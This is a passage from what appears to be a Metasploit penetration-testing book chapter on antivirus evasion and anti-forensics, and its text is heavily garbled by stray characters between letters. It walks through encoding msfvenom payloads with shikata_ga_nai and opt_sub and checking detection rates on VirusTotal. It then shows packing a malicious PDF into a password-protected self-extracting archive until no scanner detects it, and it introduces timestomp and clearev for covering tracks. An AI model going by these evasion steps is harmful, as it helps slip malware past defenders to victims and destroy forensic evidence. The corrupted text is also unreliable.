�t�h�a�t� �w�e� �g�e�n�e�r�a�t�e� �w�i�l�l� �b�e� �o�f� �n�o� �u�s�e� �i�f� �t�h�e�y� �g�e�t� �d�e�t�e�c�t�e�d� �a�n�d� �b�l�o�c�k�e�d� �b�y� �a�n�t�i�v�i�r�u�s� �p�r�o�g�r�a�m�s�.� �I�n
�t�h�i�s� �c�h�a�p�t�e�r�,� �w�e�'�l�l� �e�x�p�l�o�r�e� �t�h�e� �v�a�r�i�o�u�s� �t�e�c�h�n�i�q�u�e�s� �i�n� �o�r�d�e�r� �t�o� �m�a�k�e� �o�u�r� �p�a�y�l�o�a�d�s� �a�s
�u�n�d�e�t�e�c�t�a�b�l�e� �a�s� �p�o�s�s�i�b�l�e�.� �Y�o�u� �w�i�l�l� �a�l�s�o� �g�e�t� �f�a�m�i�l�i�a�r� �w�i�t�h� �v�a�r�i�o�u�s� �t�e�c�h�n�i�q�u�e�s� �t�o� �c�o�v�e�r� �o�u�r
�t�r�a�c�k�s� �a�f�t�e�r� �a� �s�u�c�c�e�s�s�f�u�l� �c�o�m�p�r�o�m�i�s�e�.

�I�n� �t�h�i�s� �c�h�a�p�t�e�r�,� �w�e� �w�i�l�l� �c�o�v�e�r� �t�h�e� �f�o�l�l�o�w�i�n�g� �t�o�p�i�c�s�:

�U�s�i�n�g� �e�n�c�o�d�e�r�s� �t�o� �a�v�o�i�d� �A�V� �d�e�t�e�c�t�i�o�n
�U�s�i�n�g� �b�i�n�a�r�y� �e�n�c�r�y�p�t�i�o�n� �a�n�d� �p�a�c�k�a�g�i�n�g� �t�e�c�h�n�i�q�u�e�s
�T�e�s�t�i�n�g� �p�a�y�l�o�a�d�s� �f�o�r� �d�e�t�e�c�t�i�o�n� �a�n�d� �s�a�n�d�b�o�x�i�n�g� �c�o�n�c�e�p�t�s
�U�s�i�n�g� �M�e�t�a�s�p�l�o�i�t� �a�n�t�i�-�f�o�r�e�n�s�i�c� �t�e�c�h�n�i�q�u�e�s�,� �s�u�c�h� �a�s� �T�i�m�e�S�t�o�m�p� �a�n�d� �c�l�e�a�r�e�v

�U�s�i�n�g� �e�n�c�o�d�e�r�s� �t�o� �a�v�o�i�d� �A�V� �d�e�t�e�c�t�i�o�n
�I�n� Chapter 6 �,� �C�l�i�e�n�t�-�s�i�d�e� �A�t�t�a�c�k�s� �w�i�t�h� �M�e�t�a�s�p�l�o�i�t�,� �w�e� �h�a�v�e� �a�l�r�e�a�d�y� �s�e�e�n� �h�o�w� �t�o� �u�s�e� �t�h�e
msfvenom � �u�t�i�l�i�t�y� �t�o� �g�e�n�e�r�a�t�e� �v�a�r�i�o�u�s� �p�a�y�l�o�a�d�s�.� �H�o�w�e�v�e�r�,� �t�h�e�s�e� �p�a�y�l�o�a�d�s� �i�f� �u�s�e�d� �a�s�-�i�s� �a�r�e
�m�o�s�t� �l�i�k�e�l�y� �t�o� �b�e� �d�e�t�e�c�t�e�d� �b�y� �a�n�t�i�v�i�r�u�s� �p�r�o�g�r�a�m�s�.� �I�n� �o�r�d�e�r� �t�o� �a�v�o�i�d� �a�n�t�i�v�i�r�u�s� �d�e�t�e�c�t�i�o�n� �o�f
�o�u�r� �p�a�y�l�o�a�d�,� �w�e� �n�e�e�d� �t�o� �u�s�e� �e�n�c�o�d�e�r�s� �o�f�f�e�r�e�d� �b�y� �t�h�e� msfvenom � �u�t�i�l�i�t�y�.
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�T�o� �g�e�t� �s�t�a�r�t�e�d�,� �w�e�'�l�l� �g�e�n�e�r�a�t�e� �a� �s�i�m�p�l�e� �p�a�y�l�o�a�d� �i�n� �t�h�e� .exe � �f�o�r�m�a�t� �u�s�i�n�g� �t�h�e
shikata_ga_nai � �e�n�c�o�d�e�r�,� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:

�O�n�c�e� �t�h�e� �p�a�y�l�o�a�d� �h�a�s� �b�e�e�n� �g�e�n�e�r�a�t�e�d�,� �w�e� �u�p�l�o�a�d� �i�t� �t�o� �t�h�e� �s�i�t�e� h  t  t  t  p  ://w  w w .  v  i  r  u  s  t  o  t  a  l  .  c  o
m �f�o�r� �a�n�a�l�y�s�i�s�.� �A�s� �t�h�e� �a�n�a�l�y�s�i�s� �i�s� �c�o�m�p�l�e�t�e�d�,� �w�e� �c�a�n� �s�e�e� �t�h�a�t� �o�u�r� �f�i�l�e� apache-update.exe
�(�c�o�n�t�a�i�n�i�n�g� �a� �p�a�y�l�o�a�d�)� �w�a�s� �d�e�t�e�c�t�e�d� �b�y� �4�6� �o�u�t� �o�f� �t�h�e� �6�0� �a�n�t�i�v�i�r�u�s� �p�r�o�g�r�a�m�s� �t�h�a�t� �w�e�r�e� �u�s�e�d�.
�T�h�i�s� �i�s� �q�u�i�t�e� �a� �h�i�g�h� �d�e�t�e�c�t�i�o�n� �r�a�t�e� �f�o�r� �o�u�r� �p�a�y�l�o�a�d�.� �S�e�n�d�i�n�g� �t�h�i�s� �p�a�y�l�o�a�d� �a�s�-�i�s� �t�o� �o�u�r� �v�i�c�t�i�m
�i�s� �l�e�s�s� �l�i�k�e�l�y� �t�o� �s�u�c�c�e�e�d� �d�u�e� �t�o� �i�t�s� �d�e�t�e�c�t�i�o�n� �r�a�t�e�.� �N�o�w�,� �w�e�'�l�l� �h�a�v�e� �t�o� �w�o�r�k� �o�n� �m�a�k�i�n�g� �i�t
�u�n�d�e�t�e�c�t�a�b�l�e� �f�r�o�m� �a�s� �m�a�n�y� �a�n�t�i�v�i�r�u�s� �p�r�o�g�r�a�m�s� �a�s� �w�e� �c�a�n�.

�T�h�e� �s�i�t�e� h  t  t  p  ://w  w w .  v  i  r  u  s  t  o  t  a  l  .  c  o  m �r�u�n�s� �m�u�l�t�i�p�l�e� �a�n�t�i�v�i�r�u�s� �p�r�o�g�r�a�m�s
�f�r�o�m� �a�c�r�o�s�s� �v�a�r�i�o�u�s� �v�e�n�d�o�r�s� �a�n�d� �s�c�a�n�s� �t�h�e� �u�p�l�o�a�d�e�d� �f�i�l�e� �w�i�t�h� �a�l�l� �t�h�e
�a�v�a�i�l�a�b�l�e� �a�n�t�i�v�i�r�u�s� �p�r�o�g�r�a�m�s�.
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�S�i�m�p�l�y� �e�n�c�o�d�i�n�g� �o�u�r� �p�a�y�l�o�a�d� �w�i�t�h� �t�h�e� shikata_ga_nai � �e�n�c�o�d�e�r� �o�n�c�e� �d�i�d�n�'�t� �w�o�r�k� �q�u�i�t�e
�w�e�l�l�.� �T�h�e� msfvenom � �u�t�i�l�i�t�y� �a�l�s�o� �h�a�s� �a�n� �o�p�t�i�o�n� �t�o� �i�t�e�r�a�t�e� �t�h�e� �e�n�c�o�d�i�n�g� �p�r�o�c�e�s�s� �m�u�l�t�i�p�l�e� �t�i�m�e�s�.
�P�a�s�s�i�n�g� �o�u�r� �p�a�y�l�o�a�d� �t�h�r�o�u�g�h� �m�u�l�t�i�p�l�e� �i�t�e�r�a�t�i�o�n�s� �o�f� �a�n� �e�n�c�o�d�e�r� �m�i�g�h�t� �m�a�k�e� �i�t� �m�o�r�e� �s�t�e�a�l�t�h�y�.
�N�o�w�,� �w�e�'�l�l� �t�r�y� �t�o� �g�e�n�e�r�a�t�e� �t�h�e� �s�a�m�e� �p�a�y�l�o�a�d�;� �h�o�w�e�v�e�r�,� �t�h�i�s� �t�i�m�e� �w�e�'�l�l� �r�u�n� �t�h�e� �e�n�c�o�d�e�r� �1�0
�t�i�m�e�s� �i�n� �a�n� �a�t�t�e�m�p�t� �t�o� �m�a�k�e� �i�t� �s�t�e�a�l�t�h�y�,� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:

�N�o�w� �t�h�a�t� �t�h�e� �p�a�y�l�o�a�d� �h�a�s� �b�e�e�n� �g�e�n�e�r�a�t�e�d�,� �w�e� �a�g�a�i�n� �s�u�b�m�i�t� �i�t� �f�o�r� �a�n�a�l�y�s�i�s� �o�n� h  t  t  p  ://w  w w .  v
i  r  u  s  t  o  t  a  l  .  c  o  m �.� �A�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�,� �t�h�e� �a�n�a�l�y�s�i�s� �r�e�s�u�l�t�s� �s�h�o�w� �t�h�a�t� �t�h�i�s
�t�i�m�e� �o�u�r� �p�a�y�l�o�a�d� �w�a�s� �d�e�t�e�c�t�e�d� �b�y� �4�5� �a�n�t�i�v�i�r�u�s� �p�r�o�g�r�a�m�s� �o�u�t� �o�f� �t�h�e� �6�0�.� �S�o�,� �i�t�'�s� �s�l�i�g�h�t�l�y� �b�e�t�t�e�r
�t�h�a�n� �o�u�r� �p�r�e�v�i�o�u�s� �a�t�t�e�m�p�t�s�,� �h�o�w�e�v�e�r�,� �i�t�'�s� �s�t�i�l�l� �n�o�t� �g�o�o�d� �e�n�o�u�g�h�:
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�N�o�w�,� �t�o� �f�u�r�t�h�e�r� �t�r�y� �a�n�d� �m�a�k�e� �o�u�r� �p�a�y�l�o�a�d� �u�n�d�e�t�e�c�t�a�b�l�e�,� �t�h�i�s� �t�i�m�e� �w�e�'�l�l� �t�r�y� �c�h�a�n�g�i�n�g� �t�h�e
�e�n�c�o�d�e�r� �f�r�o�m� shikata_ga_nai � �(�a�s� �u�s�e�d� �e�a�r�l�i�e�r�)� �t�o� �a� �n�e�w� �e�n�c�o�d�e�r� �n�a�m�e�d� opt_sub �,� �a�s
�s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�.� �W�e�'�l�l� �r�u�n� �t�h�e� �e�n�c�o�d�e�r� �o�n� �o�u�r� �p�a�y�l�o�a�d� �f�o�r� �f�i�v�e� �i�t�e�r�a�t�i�o�n�s�:

�O�n�c�e� �t�h�e� �p�a�y�l�o�a�d� �h�a�s� �b�e�e�n� �g�e�n�e�r�a�t�e�d�,� �w�e� �w�i�l�l� �s�u�b�m�i�t� �i�t� �t�o� h  t  t  p  ://w  w w .  v  i  r  u  s  t  o  t  a  l  .  c  o  m �f�o�r
�a�n�a�l�y�s�i�s�.� �T�h�i�s� �t�i�m�e�,� �t�h�e� �r�e�s�u�l�t�s� �l�o�o�k� �m�u�c�h� �b�e�t�t�e�r�!� �O�n�l�y� �2�5� �a�n�t�i�v�i�r�u�s� �p�r�o�g�r�a�m�s� �o�u�t� �o�f� �t�h�e� �6�0
�w�e�r�e� �a�b�l�e� �t�o� �d�e�t�e�c�t� �o�u�r� �p�a�y�l�o�a�d� �a�s� �c�o�m�p�a�r�e�d� �t�o� �4�5� �o�u�t� �o�f� �t�h�e� �6�0� �e�a�r�l�i�e�r�,� �a�s� �s�h�o�w�n� �i�n� �t�h�e
�f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�.� �T�h�i�s� �i�s� �c�e�r�t�a�i�n�l�y� �a� �s�i�g�n�i�f�i�c�a�n�t� �i�m�p�r�o�v�e�m�e�n�t�:
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�Y�o�u� �h�a�v�e� �p�r�o�b�a�b�l�y� �w�o�r�k�e�d� �o�u�t� �t�h�a�t� �t�h�e�r�e� �i�s� �n�o� �s�i�n�g�l�e� �s�e�c�r�e�t� �r�e�c�i�p�e� �t�h�a�t� �c�o�u�l�d� �m�a�k�e� �o�u�r
�p�a�y�l�o�a�d� �c�o�m�p�l�e�t�e�l�y� �u�n�d�e�t�e�c�t�a�b�l�e�.� �T�h�e� �p�r�o�c�e�s�s� �o�f� �m�a�k�i�n�g� �p�a�y�l�o�a�d� �u�n�d�e�t�e�c�t�a�b�l�e� �i�n�v�o�l�v�e�s� �a
�l�o�t� �o�f� �t�r�i�a�l� �a�n�d� �e�r�r�o�r� �m�e�t�h�o�d�s� �u�s�i�n�g� �v�a�r�i�o�u�s� �p�e�r�m�u�t�a�t�i�o�n�s�,� �c�o�m�b�i�n�a�t�i�o�n�s�,� �a�n�d� �i�t�e�r�a�t�i�o�n�s� �o�f
�d�i�f�f�e�r�e�n�t� �e�n�c�o�d�e�r�s�.� �Y�o�u� �h�a�v�e� �t�o� �s�i�m�p�l�y� �k�e�e�p� �t�r�y�i�n�g� �u�n�t�i�l� �t�h�e� �p�a�y�l�o�a�d� �d�e�t�e�c�t�i�o�n� �r�a�t�e� �g�o�e�s
�d�o�w�n� �t�o� �a�n� �a�c�c�e�p�t�a�b�l�e� �l�e�v�e�l�.

�H�o�w�e�v�e�r�,� �i�t�'�s� �a�l�s�o� �v�e�r�y� �i�m�p�o�r�t�a�n�t� �t�o� �n�o�t�e� �t�h�a�t� �a�t� �t�i�m�e�s� �r�u�n�n�i�n�g� �m�u�l�t�i�p�l�e� �i�t�e�r�a�t�i�o�n�s� �o�f� �a�n
�e�n�c�o�d�e�r� �o�n� �a� �p�a�y�l�o�a�d� �m�a�y� �e�v�e�n� �d�a�m�a�g�e� �t�h�e� �o�r�i�g�i�n�a�l� �p�a�y�l�o�a�d� �c�o�d�e�.� �H�e�n�c�e�,� �i�t�'�s� �a�d�v�i�s�a�b�l�e� �t�o
�a�c�t�u�a�l�l�y� �v�e�r�i�f�y� �t�h�e� �p�a�y�l�o�a�d� �b�y� �e�x�e�c�u�t�i�n�g� �i�t� �o�n� �a� �t�e�s�t� �i�n�s�t�a�n�c�e� �b�e�f�o�r�e� �i�t�'�s� �s�e�n�t� �t�o� �t�h�e� �t�a�r�g�e�t
�s�y�s�t�e�m�.

�U�s�i�n�g� �p�a�c�k�a�g�e�r�s� �a�n�d� �e�n�c�r�y�p�t�e�r�s
�I�n� �t�h�e� �p�r�e�v�i�o�u�s� �s�e�c�t�i�o�n�,� �w�e� �h�a�v�e� �s�e�e�n� �h�o�w� �t�o� �m�a�k�e� �u�s�e� �o�f� �v�a�r�i�o�u�s� �e�n�c�o�d�e�r�s� �i�n� �o�r�d�e�r� �t�o� �m�a�k�e
�o�u�r� �p�a�y�l�o�a�d� �u�n�d�e�t�e�c�t�a�b�l�e� �f�r�o�m� �a�n�t�i�v�i�r�u�s� �p�r�o�g�r�a�m�s�.� �H�o�w�e�v�e�r�,� �e�v�e�n� �a�f�t�e�r� �u�s�i�n�g� �d�i�f�f�e�r�e�n�t
�e�n�c�o�d�e�r�s� �a�n�d� �i�t�e�r�a�t�i�o�n�s�,� �o�u�r� �p�a�y�l�o�a�d� �w�a�s� �s�t�i�l�l� �d�e�t�e�c�t�e�d� �b�y� �a� �f�e�w� �a�n�t�i�v�i�r�u�s� �p�r�o�g�r�a�m�s�.� �I�n
�o�r�d�e�r� �t�o� �m�a�k�e� �o�u�r� �p�a�y�l�o�a�d� �c�o�m�p�l�e�t�e�l�y� �s�t�e�a�l�t�h�y�,� �w�e� �c�a�n� �m�a�k�e� �u�s�e� �o�f� �a� �c�a�l�l�e�d� encrypted
self extracting  archive � �f�e�a�t�u�r�e� �o�f�f�e�r�e�d� �b�y� �a� �c�o�m�p�r�e�s�s�i�o�n� �u�t�i�l�i�t�y� �c�a�l�l�e�d� 7-Zip �.

�T�o� �b�e�g�i�n�,� �w�e�'�l�l� �f�i�r�s�t� �u�p�l�o�a�d� �a� �m�a�l�i�c�i�o�u�s� �P�D�F� �f�i�l�e� �(�c�o�n�t�a�i�n�i�n�g� �a� �p�a�y�l�o�a�d�)� �t�o� �t�h�e� �s�i�t�e� h  t  t  p  ://w  w
w .  v  i  r  u  s  t  o  t  a  l  .  c  o  m �,� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�.� �T�h�e� �a�n�a�l�y�s�i�s� �s�h�o�w�s� �t�h�a�t� �o�u�r� �P�D�F
�f�i�l�e� �w�a�s� �d�e�t�e�c�t�e�d� �b�y� �3�2� �a�n�t�i�v�i�r�u�s� �p�r�o�g�r�a�m�s� �o�u�t� �o�f� �t�h�e� �5�6� �a�v�a�i�l�a�b�l�e�,� �a�s� �s�e�e�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g
�s�c�r�e�e�n�s�h�o�t�:
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�N�o�w� �u�s�i�n�g� �t�h�e� �7�-�Z�i�p� �u�t�i�l�i�t�y�,� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�,� �w�e� �c�o�n�v�e�r�t� �o�u�r� �m�a�l�i�c�i�o�u�s
�P�D�F� �f�i�l�e� �i�n�t�o� �a� �s�e�l�f�-�e�x�t�r�a�c�t�i�n�g� �a�r�c�h�i�v�e�:



�A�n�t�i�v�i�r�u�s� �E�v�a�s�i�o�n� �a�n�d� �A�n�t�i�-�F�o�r�e�n�s�i�c�s
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�T�h�e� �a�n�a�l�y�s�i�s� �r�e�s�u�l�t�s�,� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�,� �s�h�o�w� �t�h�a�t� �t�h�e� �P�D�F� �f�i�l�e� �t�h�a�t� �w�a�s
�c�o�n�v�e�r�t�e�d� �i�n�t�o� �a� �s�e�l�f�-�e�x�t�r�a�c�t�i�n�g� �a�r�c�h�i�v�e� �g�o�t� �d�e�t�e�c�t�e�d� �b�y� �2�1� �a�n�t�i�v�i�r�u�s� �p�r�o�g�r�a�m�s� �o�u�t� �o�f� �t�h�e� �5�9
�a�v�a�i�l�a�b�l�e�.� �T�h�i�s� �i�s� �m�u�c�h� �b�e�t�t�e�r� �t�h�a�n� �o�u�r� �p�r�e�v�i�o�u�s� �a�t�t�e�m�p�t� �(�3�2�/�5�6�)�:



�A�n�t�i�v�i�r�u�s� �E�v�a�s�i�o�n� �a�n�d� �A�n�t�i�-�F�o�r�e�n�s�i�c�s

�[� �1�4�1� �]

�N�o�w� �t�o� �m�a�k�e� �t�h�e� �p�a�y�l�o�a�d� �e�v�e�n� �m�o�r�e� �s�t�e�a�l�t�h�y�,� �w�e� �w�i�l�l� �c�o�n�v�e�r�t� �o�u�r� �p�a�y�l�o�a�d� �i�n�t�o� �a
�p�a�s�s�w�o�r�d�-�p�r�o�t�e�c�t�e�d� �s�e�l�f�-�e�x�t�r�a�c�t�i�n�g� �a�r�c�h�i�v�e�.� �T�h�i�s� �c�a�n� �b�e� �d�o�n�e� �w�i�t�h� �t�h�e� �h�e�l�p� �o�f� �t�h�e� �7�-�Z�i�p
�u�t�i�l�i�t�y�,� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:

�N�o�w�,� �w�e�'�l�l� �u�p�l�o�a�d� �t�h�e� �p�a�s�s�w�o�r�d� �e�n�c�r�y�p�t�e�d� �p�a�y�l�o�a�d� �t�o� �t�h�e� �s�i�t�e� h  t  t  p  ://w  w w .  v  i  r  u  s  t  o  t  a  l  .  c  o
m �a�n�d� �c�h�e�c�k� �t�h�e� �r�e�s�u�l�t�,� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�.� �I�n�t�e�r�e�s�t�i�n�g�l�y�,� �t�h�i�s� �t�i�m�e� �n�o�n�e� �o�f
�t�h�e� �a�n�t�i�v�i�r�u�s� �p�r�o�g�r�a�m�s� �w�e�r�e� �a�b�l�e� �t�o� �d�e�t�e�c�t� �o�u�r� �p�a�y�l�o�a�d�.� �N�o�w�,� �o�u�r� �p�a�y�l�o�a�d� �w�i�l�l� �g�o
�u�n�d�e�t�e�c�t�e�d� �t�h�r�o�u�g�h�o�u�t� �i�t�s� �t�r�a�n�s�i�t� �j�o�u�r�n�e�y� �u�n�t�i�l� �i�t� �r�e�a�c�h�e�s� �i�t�s� �t�a�r�g�e�t�.� �H�o�w�e�v�e�r�,� �t�h�e� �p�a�s�s�w�o�r�d
�p�r�o�t�e�c�t�i�o�n� �a�d�d�s� �a�n�o�t�h�e�r� �b�a�r�r�i�e�r� �f�o�r� �t�h�e� �e�n�d� �u�s�e�r� �(�v�i�c�t�i�m�)� �e�x�e�c�u�t�i�n�g� �t�h�e� �p�a�y�l�o�a�d�:
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�W�h�a�t� �i�s� �a� �s�a�n�d�b�o�x�?
�W�h�e�n�e�v�e�r� �w�e� �e�x�e�c�u�t�e� �a�n� �a�p�p�l�i�c�a�t�i�o�n�,� �b�e� �i�t� �l�e�g�i�t�i�m�a�t�e� �o�r� �m�a�l�i�c�i�o�u�s�,� �s�o�m�e� �o�f� �t�h�e� �e�v�e�n�t�s� �t�h�a�t
�o�c�c�u�r� �a�r�e� �a�s� �f�o�l�l�o�w�s�:

�A�p�p�l�i�c�a�t�i�o�n� �d�i�r�e�c�t�l�y� �i�n�t�e�r�a�c�t�s� �w�i�t�h� �t�h�e� �h�o�s�t� �o�p�e�r�a�t�i�n�g� �s�y�s�t�e�m
�S�y�s�t�e�m� �c�a�l�l�s� �a�r�e� �m�a�d�e
�N�e�t�w�o�r�k� �c�o�n�n�e�c�t�i�o�n�s� �a�r�e� �e�s�t�a�b�l�i�s�h�e�d
�R�e�g�i�s�t�r�y� �e�n�t�r�i�e�s� �a�r�e� �m�o�d�i�f�i�e�d
�E�v�e�n�t� �l�o�g�s� �a�r�e� �w�r�i�t�t�e�n� �o�u�t
�T�e�m�p�o�r�a�r�y� �f�i�l�e�s� �a�r�e� �c�r�e�a�t�e�d� �o�r� �d�e�l�e�t�e�d
�N�e�w� �p�r�o�c�e�s�s�e�s� �a�r�e� �s�p�a�w�n�e�d
�C�o�n�f�i�g�u�r�a�t�i�o�n� �f�i�l�e�s� �a�r�e� �u�p�d�a�t�e�d

�A�l�l� �t�h�e� �a�b�o�v�e� �e�v�e�n�t�s� �a�r�e� �p�e�r�s�i�s�t�e�n�t� �i�n� �n�a�t�u�r�e� �a�n�d� �c�h�a�n�g�e� �t�h�e� �s�t�a�t�e� �o�f� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m�.� �N�o�w�,
�t�h�e�r�e� �m�i�g�h�t� �b�e� �a� �s�c�e�n�a�r�i�o� �w�h�e�r�e�i�n� �w�e� �h�a�v�e� �t�o� �t�e�s�t� �a� �m�a�l�i�c�i�o�u�s� �p�r�o�g�r�a�m� �i�n� �a� �c�o�n�t�r�o�l�l�e�d
�m�a�n�n�e�r� �s�u�c�h� �t�h�a�t� �t�h�e� �s�t�a�t�e� �o�f� �t�h�e� �t�e�s�t� �s�y�s�t�e�m� �r�e�m�a�i�n�s� �u�n�c�h�a�n�g�e�d�.� �T�h�i�s� �i�s� �e�x�a�c�t�l�y� �w�h�e�r�e� �a
�s�a�n�d�b�o�x� �c�a�n� �p�l�a�y� �a�n� �i�m�p�o�r�t�a�n�t� �r�o�l�e�.
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�I�m�a�g�i�n�e� �t�h�a�t� �a� �s�a�n�d�b�o�x� �i�s� �a�n� �i�s�o�l�a�t�e�d� �c�o�n�t�a�i�n�e�r� �o�r� �c�o�m�p�a�r�t�m�e�n�t�.� �A�n�y�t�h�i�n�g� �t�h�a�t� �i�s� �e�x�e�c�u�t�e�d
�w�i�t�h�i�n� �a� �s�a�n�d�b�o�x� �s�t�a�y�s� �w�i�t�h�i�n� �t�h�e� �s�a�n�d�b�o�x� �a�n�d� �d�o�e�s� �n�o�t� �i�m�p�a�c�t� �t�h�e� �o�u�t�s�i�d�e� �w�o�r�l�d�.� �R�u�n�n�i�n�g
�a� �p�a�y�l�o�a�d� �s�a�m�p�l�e� �w�i�t�h�i�n� �a� �s�a�n�d�b�o�x� �w�i�l�l� �h�e�l�p� �y�o�u� �a�n�a�l�y�z�e� �i�t�s� �b�e�h�a�v�i�o�r� �w�i�t�h�o�u�t� �i�m�p�a�c�t�i�n�g
�t�h�e� �h�o�s�t� �o�p�e�r�a�t�i�n�g� �s�y�s�t�e�m�.

�T�h�e�r�e� �a�r�e� �a� �c�o�u�p�l�e� �o�f� �o�p�e�n� �s�o�u�r�c�e� �a�n�d� �f�r�e�e� �s�a�n�d�b�o�x� �f�r�a�m�e�w�o�r�k�s� �a�v�a�i�l�a�b�l�e� �a�s� �f�o�l�l�o�w�s�:

�S�a�n�d�b�o�x�i�e�:� h  t  t  p  s  ://w  w w .  s  a  n  d  b  o  x  i  e  .  c  o  m

�C�u�c�k�o�o� �S�a�n�d�b�o�x�:� h  t  t  p  s  ://c  u  c  k  o  o  s  a  n  d  b  o  x  .  o  r  g  /

�E�x�p�l�o�r�i�n�g� �c�a�p�a�b�i�l�i�t�i�e�s� �o�f� �t�h�e�s�e� �s�a�n�d�b�o�x�e�s� �i�s� �b�e�y�o�n�d� �t�h�e� �s�c�o�p�e� �o�f� �t�h�i�s� �b�o�o�k�;� �h�o�w�e�v�e�r�,� �i�t�'�s
�w�o�r�t�h� �t�r�y�i�n�g� �o�u�t� �t�h�e�s�e� �s�a�n�d�b�o�x�e�s� �f�o�r� �m�a�l�i�c�i�o�u�s� �p�a�y�l�o�a�d� �a�n�a�l�y�s�i�s�.

�A�n�t�i�-�f�o�r�e�n�s�i�c�s
�O�v�e�r� �t�h�e� �p�a�s�t� �d�e�c�a�d�e� �o�r� �s�o�,� �t�h�e�r�e� �h�a�v�e� �b�e�e�n� �s�u�b�s�t�a�n�t�i�a�l� �i�m�p�r�o�v�e�m�e�n�t�s� �a�n�d� �a�d�v�a�n�c�e�m�e�n�t�s� �i�n
�d�i�g�i�t�a�l� �f�o�r�e�n�s�i�c� �t�e�c�h�n�o�l�o�g�i�e�s�.� �T�h�e� �f�o�r�e�n�s�i�c� �t�o�o�l�s� �a�n�d� �t�e�c�h�n�i�q�u�e�s� �a�r�e� �w�e�l�l� �d�e�v�e�l�o�p�e�d� �a�n�d
�m�a�t�u�r�e�d� �t�o� �s�e�a�r�c�h�,� �a�n�a�l�y�z�e�,� �a�n�d� �p�r�e�s�e�r�v�e� �a�n�y� �d�i�g�i�t�a�l� �e�v�i�d�e�n�c�e� �i�n� �c�a�s�e� �o�f� �a� �b�r�e�a�c�h�/�f�r�a�u�d� �o�r
�a�n� �i�n�c�i�d�e�n�t�.

�W�e� �h�a�v�e� �s�e�e�n� �t�h�r�o�u�g�h�o�u�t� �t�h�i�s� �b�o�o�k� �h�o�w� �M�e�t�a�s�p�l�o�i�t� �c�a�n� �b�e� �u�s�e�d� �t�o� �c�o�m�p�r�o�m�i�s�e� �a� �r�e�m�o�t�e
�s�y�s�t�e�m�.� �T�h�e� �m�e�t�e�r�p�r�e�t�e�r� �w�o�r�k�s� �u�s�i�n�g� �a�n� �i�n�-�m�e�m�o�r�y� dll � �i�n�j�e�c�t�i�o�n� �a�n�d� �e�n�s�u�r�e�s� �t�h�a�t� �n�o�t�h�i�n�g
�i�s� �w�r�i�t�t�e�n� �o�n�t�o� �t�h�e� �d�i�s�k� �u�n�l�e�s�s� �e�x�p�l�i�c�i�t�l�y� �r�e�q�u�i�r�e�d�.� �H�o�w�e�v�e�r�,� �d�u�r�i�n�g� �a� �c�o�m�p�r�o�m�i�s�e�,� �w�e� �o�f�t�e�n
�r�e�q�u�i�r�e� �t�o� �p�e�r�f�o�r�m� �c�e�r�t�a�i�n� �a�c�t�i�o�n�s� �t�h�a�t� �m�o�d�i�f�y�,� �a�d�d�,� �o�r� �d�e�l�e�t�e� �f�i�l�e�s� �o�n� �t�h�e� �r�e�m�o�t�e� �f�i�l�e�s�y�s�t�e�m�.
�T�h�i�s� �i�m�p�l�i�e�s� �t�h�a�t� �o�u�r� �a�c�t�i�o�n�s� �w�i�l�l� �b�e� �t�r�a�c�e�d� �b�a�c�k� �i�f� �a�t� �a�l�l� �a� �f�o�r�e�n�s�i�c� �i�n�v�e�s�t�i�g�a�t�i�o�n� �i�s� �m�a�d�e� �o�n
�t�h�e� �c�o�m�p�r�o�m�i�s�e�d� �s�y�s�t�e�m�.

�M�a�k�i�n�g� �a� �s�u�c�c�e�s�s�f�u�l� �c�o�m�p�r�o�m�i�s�e� �o�f� �o�u�r� �t�a�r�g�e�t� �s�y�s�t�e�m� �i�s� �o�n�e� �p�a�r�t� �w�h�i�l�e� �m�a�k�i�n�g� �s�u�r�e� �t�h�a�t
�o�u�r� �c�o�m�p�r�o�m�i�s�e� �r�e�m�a�i�n�s� �u�n�n�o�t�i�c�e�d� �a�n�d� �u�n�d�e�t�e�c�t�e�d� �e�v�e�n� �f�r�o�m� �a� �f�o�r�e�n�s�i�c� �p�e�r�s�p�e�c�t�i�v�e� �i�s� �t�h�e
�o�t�h�e�r� �e�s�s�e�n�t�i�a�l� �p�a�r�t�.� �F�o�r�t�u�n�a�t�e�l�y�,� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �o�f�f�e�r�s� �t�o�o�l�s� �a�n�d� �u�t�i�l�i�t�i�e�s� �t�h�a�t
�h�e�l�p� �u�s� �c�l�e�a�r� �o�u�r� �t�r�a�c�k�s� �a�n�d� �e�n�s�u�r�e� �t�h�a�t� �l�e�a�s�t� �o�r� �n�o� �e�v�i�d�e�n�c�e� �o�f� �o�u�r� �c�o�m�p�r�o�m�i�s�e� �i�s� �l�e�f�t� �b�a�c�k
�o�n� �t�h�e� �s�y�s�t�e�m�.
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�T�i�m�e�s�t�o�m�p
�E�a�c�h� �a�n�d� �e�v�e�r�y� �f�i�l�e� �a�n�d� �f�o�l�d�e�r� �l�o�c�a�t�e�d� �o�n� �t�h�e� �f�i�l�e�s�y�s�t�e�m�,� �i�r�r�e�s�p�e�c�t�i�v�e� �o�f� �t�h�e� �t�y�p�e� �o�f� 
